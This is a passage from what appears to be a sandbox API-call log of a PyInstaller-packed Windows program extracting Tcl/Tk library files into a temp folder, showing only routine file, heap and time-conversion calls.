"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\treeview.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.964] GetFileType (hFile=0x10c) returned 0x1 [0044.964] htonl (hostlong=0x9f220000) returned 0x229f [0044.964] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0044.965] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.965] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x29f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x29f, lpOverlapped=0x0) returned 1 [0044.965] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.965] CloseHandle (hObject=0x10c) returned 1 [0044.965] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.966] htonl (hostlong=0x30000000) returned 0x30 [0044.966] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.966] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.966] GetFileType (hFile=0x10c) returned 0x1 [0044.966] htonl (hostlong=0x7d916000) returned 0x60917d [0044.966] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x65417d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.966] htonl (hostlong=0x9c060000) returned 0x69c [0044.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x69c) returned 0x55e278 [0044.967] htonl (hostlong=0x9c060000) returned 0x69c [0044.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.967] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.967] htonl (hostlong=0xc2110000) returned 0x11c2 [0044.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x11c2) returned 0x562098 [0044.967] htonl (hostlong=0x9c060000) returned 0x69c [0044.967] htonl (hostlong=0xc2110000) returned 0x11c2 [0044.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563268 [0044.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563268 | out: hHeap=0x530000) returned 1 [0044.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.968] CloseHandle (hObject=0x10c) returned 1 [0044.968] GetLastError () returned 0x0 [0044.968] SetLastError (dwErrCode=0x0) [0044.968] GetLastError () returned 0x0 [0044.968] SetLastError (dwErrCode=0x0) [0044.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.968] GetFileType (hFile=0x10c) returned 0x1 [0044.968] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.968] CloseHandle (hObject=0x10c) returned 1 [0044.968] GetLastError () returned 0x0 [0044.968] SetLastError (dwErrCode=0x0) [0044.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.969] GetFileType (hFile=0x10c) returned 0x1 [0044.969] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.969] CloseHandle (hObject=0x10c) returned 1 [0044.969] GetLastError () returned 0x0 [0044.969] SetLastError (dwErrCode=0x0) [0044.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\ttk.tcl") returned 60 [0044.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\ttk.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\ttk.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.969] GetLastError () returned 0x2 [0044.969] SetLastError (dwErrCode=0x2) [0044.969] GetLastError () returned 0x2 [0044.969] SetLastError (dwErrCode=0x2) [0044.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\ttk.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\ttk.tcl", lpFilePart=0x0) returned 0x3b [0044.969] GetLastError () returned 0x2 [0044.969] SetLastError (dwErrCode=0x2) [0044.969] GetLastError () returned 0x2 [0044.969] SetLastError (dwErrCode=0x2) [0044.969] GetLastError () returned 0x2 [0044.969] SetLastError (dwErrCode=0x2) [0044.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\ttk.tcl") returned 60 [0044.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\ttk.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\ttk.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.970] GetFileType (hFile=0x10c) returned 0x1 [0044.970] htonl (hostlong=0xc2110000) returned 0x11c2 [0044.970] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.971] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.971] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1c2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x1c2, lpOverlapped=0x0) returned 1 [0044.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.971] CloseHandle (hObject=0x10c) returned 1 [0044.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.971] htonl (hostlong=0x30000000) returned 0x30 [0044.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.971] GetFileType (hFile=0x10c) returned 0x1 [0044.971] htonl (hostlong=0x19986000) returned 0x609819 [0044.971] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x654819, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.971] htonl (hostlong=0xe60b0000) returned 0xbe6 [0044.971] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe6) returned 0x55e278 [0044.971] htonl (hostlong=0xe60b0000) returned 0xbe6 [0044.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.972] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.972] htonl (hostlong=0x72210000) returned 0x2172 [0044.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2172) returned 0x562098 [0044.972] htonl (hostlong=0xe60b0000) returned 0xbe6 [0044.972] htonl (hostlong=0x72210000) returned 0x2172 [0044.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564218 [0044.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564218 | out: hHeap=0x530000) returned 1 [0044.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.972] CloseHandle (hObject=0x10c) returned 1 [0044.972] GetLastError () returned 0x0 [0044.972] SetLastError (dwErrCode=0x0) [0044.972] GetLastError () returned 0x0 [0044.972] SetLastError (dwErrCode=0x0) [0044.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.972] GetFileType (hFile=0x10c) returned 0x1 [0044.972] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.972] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.972] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.972] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.972] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.972] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.973] CloseHandle (hObject=0x10c) returned 1 [0044.973] GetLastError () returned 0x0 [0044.973] SetLastError (dwErrCode=0x0) [0044.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.973] GetFileType (hFile=0x10c) returned 0x1 [0044.973] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.973] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.973] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.973] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.973] CloseHandle (hObject=0x10c) returned 1 [0044.973] GetLastError () returned 0x0 [0044.973] SetLastError (dwErrCode=0x0) [0044.973] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\utils.tcl") returned 62 [0044.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\utils.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\utils.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.973] GetLastError () returned 0x2 [0044.974] SetLastError (dwErrCode=0x2) [0044.974] GetLastError () returned 0x2 [0044.974] SetLastError (dwErrCode=0x2) [0044.974] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\utils.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\utils.tcl", lpFilePart=0x0) returned 0x3d [0044.974] GetLastError () returned 0x2 [0044.974] SetLastError (dwErrCode=0x2) [0044.974] GetLastError () returned 0x2 [0044.974] SetLastError (dwErrCode=0x2) [0044.974] GetLastError () returned 0x2 [0044.974] SetLastError (dwErrCode=0x2) [0044.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\utils.tcl") returned 62 [0044.974] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\utils.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\utils.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.994] GetFileType (hFile=0x10c) returned 0x1 [0044.994] htonl (hostlong=0x72210000) returned 0x2172 [0044.994] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0044.995] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.995] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x172, lpOverlapped=0x0) returned 1 [0044.995] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.995] CloseHandle (hObject=0x10c) returned 1 [0044.995] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.995] htonl (hostlong=0x30000000) returned 0x30 [0044.995] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.996] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.996] GetFileType (hFile=0x10c) returned 0x1 [0044.996] htonl (hostlong=0xffa36000) returned 0x60a3ff [0044.996] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6553ff, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.996] htonl (hostlong=0x14070000) returned 0x714 [0044.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x714) returned 0x55e278 [0044.996] htonl (hostlong=0x14070000) returned 0x714 [0044.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.996] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.996] htonl (hostlong=0x85240000) returned 0x2485 [0044.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2485) returned 0x562098 [0044.996] htonl (hostlong=0x14070000) returned 0x714 [0044.996] htonl (hostlong=0x85240000) returned 0x2485 [0044.996] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564528 [0044.996] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564528 | out: hHeap=0x530000) returned 1 [0044.996] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.996] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.996] CloseHandle (hObject=0x10c) returned 1 [0044.996] GetLastError () returned 0x0 [0044.996] SetLastError (dwErrCode=0x0) [0044.996] GetLastError () returned 0x0 [0044.996] SetLastError (dwErrCode=0x0) [0044.997] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.997] GetFileType (hFile=0x10c) returned 0x1 [0044.997] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.997] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.997] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.997] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.997] SystemTimeToTzSpecificLocalTime (in: 